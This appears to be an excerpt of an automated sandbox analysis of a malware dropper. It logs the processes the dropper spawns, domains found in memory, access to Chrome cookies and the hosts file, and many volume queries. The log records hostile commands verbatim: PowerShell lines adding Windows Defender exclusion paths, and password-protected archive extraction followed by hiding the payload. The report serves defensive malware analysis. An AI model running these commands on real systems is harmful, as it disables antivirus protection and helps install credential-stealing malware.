Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe "C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe "C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe "C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe "C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe "C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe "C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe "C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe "C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe "C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe "C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe "C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe "C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe "C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe"
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process created: unknown unknown

Source: skotes.exe, skotes.exe, 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: ;Program Manager
Source: 48a114f480.exe, 00000011.00000002.2760652164.000000000180A000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: AProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019464001\ebd07c8db5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019464001\ebd07c8db5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019465001\b73717b60b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019465001\b73717b60b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019466001\6253581e35.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019466001\6253581e35.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019467001\ec04af5574.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019467001\ec04af5574.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
